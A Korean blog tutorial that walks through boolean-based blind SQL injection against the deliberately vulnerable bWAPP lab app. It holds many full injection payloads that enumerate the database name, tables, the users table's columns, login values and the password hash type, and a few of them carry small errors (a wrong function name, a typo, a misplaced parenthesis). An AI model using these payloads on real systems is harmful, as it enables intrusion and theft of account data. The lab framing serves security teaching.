이 도구를 이용하여 허용받지 않은 서비스 대상으로 해킹을 시도하는 행위는 범죄 행위 입니다. 해킹을 시도할 때에 발생하는 법적인 책임은 그것을 행한 사용자에게 있다는 것을 명심하시기 바랍니다.
A1 - SQL Injection - Blind - Boolean-Based
Blind SQL 인젝션은 쿼리의 결과를 참과 거짓으로만 출력하는 페이지에서 사용하는 공격방식 입니다. 출력 내용이 참과 거짓 밖에 없어서 데이터베이스의 내용을 추측하여 쿼리를 조작합니다.
검색란에 값을 입력하여 SQL Injection이 가능한지 알아 보도록 하겠습니다.
검색란에 sql injection 이라는 문구를 입력하고 Search 버튼을 눌렀을 경우 해당 영상은 데이터베이스에 없다는 문구가 출력되는 것을 확인 할 수 있습니다.
검색란에 작은 따옴표(')를 입력하여 SQL 인젝션 취약점이 가능한지 알아 보았습니다. 작은 따옴표를 입력하고 Search 버튼을 눌렀을 경우 SQL 문법 오류라는 메세지를 확인할수 있고 SQL Injection 공격이 가능한 것을 확인 할수 있십니다.
그럼 이제 Boolean Based SQL Injection 취약점을 알아보기 위하여 검색란에 결과를 참과 거짓으로 입력하여 메세지를 확인 해 보도록 하겠습니다.
참값 입력시 해당 영화가 존재한다는 메세지 내용을 확인.
거짓값 입력시 해당 영화가 없다는 내용을 확인.
확인 결과 참값을 입력하였을 때에는 영화가 존재 한다는 메세지를 확인 할수 있고, 거짓 값을 입력하였을 경우에는 영화가 존재하지 않다는 내용을 확인 할수 있고, 메세지를 통해 Boolean Based SQL Injection 공격이 가능하다는 것을 알수 있습니다.
UNION SELECT 구문을 이용하여 결과값이 참이 메세지를 출력할 때까지 컬럼 수를 늘려 값을 확인 합니다.
' UNION SELECT ALL 1,2,3,4,5,6,7#
하지만 UNION SELECT 구문을 이용하여 확인시 검색한 영화가 데이터베이스에 있는지만 확인이 가능 하기 때문에 substring 함수를 사용하여 데이터베이스 내용을 추측해보고, length 함수를 사용하여 데이터베이스의 명을 확인해 보도록 하겠습니다.
substring 함수 - 첫 번째 인자로 받은 문자열을 지정한 길이만틈 출력하는데, 주로 문자 하나씩 출력하여 이름을 알아내는데 사용
length 함수 - 지정한 문자열의 길이를 반환해 주는 함수
Blind SQL Injection에 사용할 쿼리는 항상 참이 되는 쿼리와 정보를 추출할 쿼리를 조합하여 입력합니다. 비박스에서는 users 테이블에 계정 정보를 저장하고 있고 users 테이블 안에 있는 login 컬럼에 회원 아이디를 저장합니다.
length 함수를 사용하여 데이터베이스 이름의 길이를 추측하는 쿼리를 날려 보았습니다.
' or 1=1 and length(database())=5#
database()는 서버의 데이터베이스 명을 반환하는 시스템 함수로, 숫자를 1부터 대입하면 5일 때 참인 메시지를 출력하는 것을 확인 할수 있고, 데이터베이스 명은 다섯 자리인것을 알수 있습니다.
이제 length 함수로 알아낸 데이터베이스의 이름을 substring 함수를 이용하여 데이터베이스 명을 추측하는 쿼리를 작성해 보겠습니다.
' or 1=1 and substring(database(),1,1)='b'#
substring 함수로 데이터베이스의 첫 번째 자리부터 하나씩 글자를 구분합니다. 알파벳 a부터 대입하여 b일 때 참인 메시지를 출력하므로 데이터베이스 명은 'bOOOO' 라는 것을 알수 있습니다.
그 다음 글자를 확인하려면, 두 번째 인자가 문자열 시작 위치를 지정하므로 두 번 째 인자 값을 변경한 후 데이터베이스 명을 계속 추측해 나가는 방법이 있습니다.
' or 1=1 and substring(db_name(),2,1)='b'#
substring 함수와 ascii 함수를 함께 사용하여도 데이트베이스 명을 추측할수 있는데, 이 경우는 작은따옴표가 필터링으로 막힌 경우에 유용하게 사용하실수 있습니다. 참인 메시지를 출력할 때까지 글자에 해당하는 아스기 값을 입력
' or 1=1 and ascii(substring(database(),1,1)=98# - ascii 코드표 참조
데이터베이스 이름 확인
' or 1=1 and database()='bWAPP'#
다음은 테이블 명의 길이를 알아보도록 하겠습니다.
MySQL 버전이 5 이상이므로 MySQL의 메타데이터인 information_schema를 사용하고, where 조건으로 테이블의 타입을 지정하면 information_schema에 있는 메타데이터 저장용 테이블(base table)을 제외하고 bWAPP 데이터베이스의 테이블만 출력하게 됩니다.
limit 연산자로는 조건에 맞는 테이블 중 위에서부터 선택할 수 있으며, 다음 쿼리에서는 bWAPP 데이터베이스에 저장된 테이블 중 첫 번째 테이블 하나를 출력하고 1부터 대입하면 4일 때 참인 메세지를 확인 할수 있습니다.
' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1))=4#
다음은 length 함수로 알아낸 테이블 명을 추측하는 쿼리입니다. substring 함수로 테이블 명의 첫 번째 자리부터 하나씩 글자를 구분합니다.
' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)) > 100#
ascii 함수와 substring 함수로 확인한 테이블 명은 'bOOO' 입니다.
' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1))=98#
Blind SQL Injection을 계속 진행하면 네 번째 테이블이 users라는 정보를 알수 있습니다. (ascii 코드표 참조)
' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 3,1),1,1))=117#
' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 3,1),2,1))=115#
' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 3,1),3,1))=101#
' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 3,1),4,1))=114#
' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 3,1),5,1))=115#
네번째 테이블 명이 users 인지 확인
' or 1=1 and (select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 3,1)='users'#
users 테이블 컬럼 명의 길이를 파악하기 위하여 다시 length 함수를 사용하고, limit 연산자로 첫 번째 컬럼을 지정합니다. length 함수의 반환 값에 1부터 대입하면 2일 때 참인 메세지를 확인 할수 있습니다.
' or 1=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=2#
length 함수로 알아낸 컬럼 명을 추측하는 쿼리로, limit 함수를 사용하여 최상의 컬럼의 위치를 반환하고, substring 함수로 컬럼 명의 첫 번째 자리부터 하나씩 글자를 구분합니다. 알파벳 a부터 대입하여 i일 때 참인 메세지를 출력 하므로 컬럼명의 첫번째 이름은 i라는 것을 알수 있습니다.
' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='i'#
그다음 컬럼 명을 추측하기 위하여 limit 1,1로 지정하고 컬럼 명의 길이를 파악할때 1부터 대입시 5일 때 참인 메시지를 출력하는 것을 확인할 수 있습니다.
' or 1=1 and length((select column_name from information_schema.columns where table_name='users' limit 1,1))=5#
substring 함수를 사용하여 컬럼명을 확인
' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)='l'#
위의 내용을 확인결과 컬럼명은 5자리이고 'lOOOO'이라는 것을 알 수 있습니다. (login)
login 컬럼의 내용을 확인하기 위하여 length 함수를 사용하여 길이를 확인해 보도록 하겠습니다.
' or 1=1 and length((select login from users limit 1,1))=3#
substring 함수를 사용하여 컬럼의 내용을 확인
' or 1=1 and substring((select login from users limit 1,1),1,1)='b'#
login 컬럼의 내용을 다 확인하고 다음 컬령 명을 추측하기 위하여 limit 2,1로 지정하고 컬럼 명의 길이를 파악해 보도록 하겠습니다.
' or 1=1 and length((select column_name from information_schema.columns where table_name='users' limit 2,1))=8#
컬럼명의 길이를 확인후 컬럼명을 추측해 보도록 하겠습니다. (password)
' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 2,1),1,1)='p'#
password 컬럼의 저장 내용이 어떤 해시 함수를 사용하는지 확인 (SHA-1 함수를 사용)
' or 1=1 and md5('bug')=(select password from users where loging='bee')#
' or 1=1 and sha1('bug')=(select password from users where loging='bee')#
'Code::Security > 비박스(BWAPP)' 카테고리의 다른 글
비박스(bWAPP) SQL Injection - Blind (WS/SOAP) (0) | 2021.06.22 |
---|---|
비박스(bWAPP) SQL Injection - Blind - Time-Based (0) | 2021.06.17 |
비박스(bWAPP) SQL Injection - Stored (User-Agent) (0) | 2020.01.03 |
비박스(bWAPP) SQL Injection - Stored (SQLite) (0) | 2020.01.03 |
비박스(bWAPP) SQL Injection - Stored (Blog) (0) | 2019.11.27 |